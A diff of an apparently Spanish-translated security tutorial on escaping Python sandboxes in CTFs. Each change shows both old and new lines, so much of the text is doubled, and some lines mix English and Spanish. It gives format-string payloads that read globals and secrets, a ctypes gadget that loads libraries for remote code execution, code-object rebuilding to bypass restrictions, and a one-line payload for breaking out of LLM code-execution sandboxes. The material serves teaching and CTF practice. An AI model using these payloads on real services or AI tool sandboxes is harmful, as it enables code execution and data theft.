CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Búsqueda recursiva de builtins, globals...
## Búsqueda recursiva de Builtins, Globals...
> [!WARNING]
> Esto es simplemente **impresionante**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** simplemente usa este script para **encontrar recursivamente lugares donde puedas encontrar ese objeto.**
> Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** usa este script para **encontrar recursivamente lugares donde puedas localizar ese objeto.**
```python
import os, sys # Import these to find more gadgets
@ -662,7 +663,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
You can check the output of this script on this page:
Puedes comprobar la salida de este script en esta página:
{{#ref}}
@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Si envías una **string** a python que va a ser **formatted**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
Si **envías** una **string** a python que va a ser **formateada**, puedes usar `{}` para acceder a la **información interna de python**. Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y al **elemento de dict** con **corchetes** sin comillas `__globals__[CONFIG]`
Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y a **elementos de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
También observa que puedes usar `.__dict__` para enumerar los elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
También observa que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Otras características interesantes de las cadenas de formato son la posibilidad de **ejecutar** las **funciones** `str`, `repr` y `ascii` en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
Otra característica interesante de las cadenas de formato es la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Además, es posible **code new formatters** en clases:
Además, es posible **codificar nuevos formateadores** en clases:
```python
class HAL9000(object):
def __format__(self, format):
@ -711,10 +712,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Más ejemplos** sobre **format** **string** pueden encontrarse en [**https://pyformat.info/**](https://pyformat.info)
**Más ejemplos** sobre **format** **string** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Consulta también la siguiente página para gadgets que permitirán **leer información sensible de los objetos internos de Python**:
> Consulte también la siguiente página para gadgets que r**ead sensitive information from Python internal objects**:
{{#ref}}
@ -739,20 +740,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Desde [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### From format to RCE loading libraries
### De format a RCE cargando librerías
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde el disco abusando de la format string vulnerability en python.
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde disco abusando de la vulnerabilidad de format string en python.
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Puedes ver más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).
Hay más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).
Una python format string vuln no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería python común tiene un método **`__getitem__`** o **`__getattr__`** que ejecute código arbitrario, es posible abusar de ellos para obtener RCE.
Una vulnerabilidad de format string en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Allí encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,18 +775,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Este gadget permite **cargar una biblioteca desde el disco**. Por lo tanto, es necesario de algún modo **escribir o subir la biblioteca a cargar**, compilada correctamente para el servidor atacado.
Este gadget permite **load a library from disk**. Por lo tanto, es necesario, de alguna forma, **write or upload the library to load** correctamente compilada al servidor atacado.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
El reto en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
El challenge en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
## Diseccionando objetos de Python
## Analizando objetos de Python
> [!TIP]
> Si quieres **aprender** sobre **python bytecode** en profundidad lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Si quieres **aprender** en profundidad sobre **python bytecode**, lee este artículo **imprescindible** sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
En algunos CTFs se te puede proporcionar el nombre de una **función personalizada donde reside la flag** y necesitas ver los **internos** de la **función** para extraerla.
En algunos CTFs podrías recibir el nombre de una **función personalizada donde reside la flag** y necesitarías ver los **internos** de la **función** para extraerla.
Esta es la función a inspeccionar:
```python
@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` y `func_globals`(Igual) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
`__globals__` y `func_globals` (mismo) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
```python
get_flag.func_globals
get_flag.__globals__
@ -908,7 +909,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **disassemble** la función localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes deducirlo a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,8 +933,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Compilando Python
Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **need** to **execute** it.\
Como en el siguiente ejemplo, puedes **can access the code object** de esa función, pero solo leyendo el disassemble **don't know how to calculate the flag** (_imagina una función `calc_flag` más compleja_)
Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **necesitas** **ejecutarla**.\
Como en el siguiente ejemplo, **puedes acceder al code object** de esa función, pero solo leyendo el disassemble **no sabes cómo calcular la flag** (_imagina una función `calc_flag` más compleja_)
```python
def get_flag(some_input):
var1=1
@ -948,7 +949,7 @@ return "Nope"
```
### Creando el code object
En primer lugar, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
Antes que nada, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +969,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los params en la versión de python que estás ejecutando es ejecutar:
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de saber el orden de los parámetros en la versión de python que estás ejecutando es ejecutar:
>
> ```
> import types
@ -979,7 +980,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Recreando una leaked función
> [!WARNING]
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función desde el function code object directamente. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **tendrás que leak**.
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el code object de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** son lo que **necesitarás leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -992,8 +993,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Eludir defensas
En ejemplos anteriores al principio de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en **una sola línea** (y podríamos hacer lo mismo usando **`exec`**).\
De todas formas, a veces puede ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo porque no tenemos la función `compiled` en la CTF).
En ejemplos anteriores al comienzo de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **one liner** (y podríamos hacer lo mismo usando **`exec`**).\
De todas formas, a veces puede ser útil **crear** un **compiled object** en una máquina local y ejecutarlo en la **CTF machine** (por ejemplo porque no tenemos la función `compiled` en la CTF).
Por ejemplo, compilemos y ejecutemos manualmente una función que lee _./poc.py_:
```python
@ -1022,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente fallará con: _constructor no accesible en modo restringido_. Así que necesitas una **función que no esté en el entorno restringido para invocar esta función.**
Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente va a fallar con: _constructor not accessible in restricted mode_. Así que necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1030,9 +1031,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompiling Compiled Python
## Descompilar Python compilado
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompile** el código Python compilado dado.
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código python compilado.
**Consulta este tutorial**:
@ -1041,11 +1042,11 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Miscelánea de Python
## Varios en Python
### Assert
Python ejecutado con optimizaciones usando el parámetro `-O` eliminará las instrucciones assert y cualquier código condicional según el valor de **debug**.\
Python ejecutado con optimizaciones con el parámetro `-O` eliminará asset statements y cualquier código condicional al valor de **debug**.\
Por lo tanto, comprobaciones como
```python
def check_permission(super_user):
@ -1055,7 +1056,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
será bypassed
será eludido
## Referencias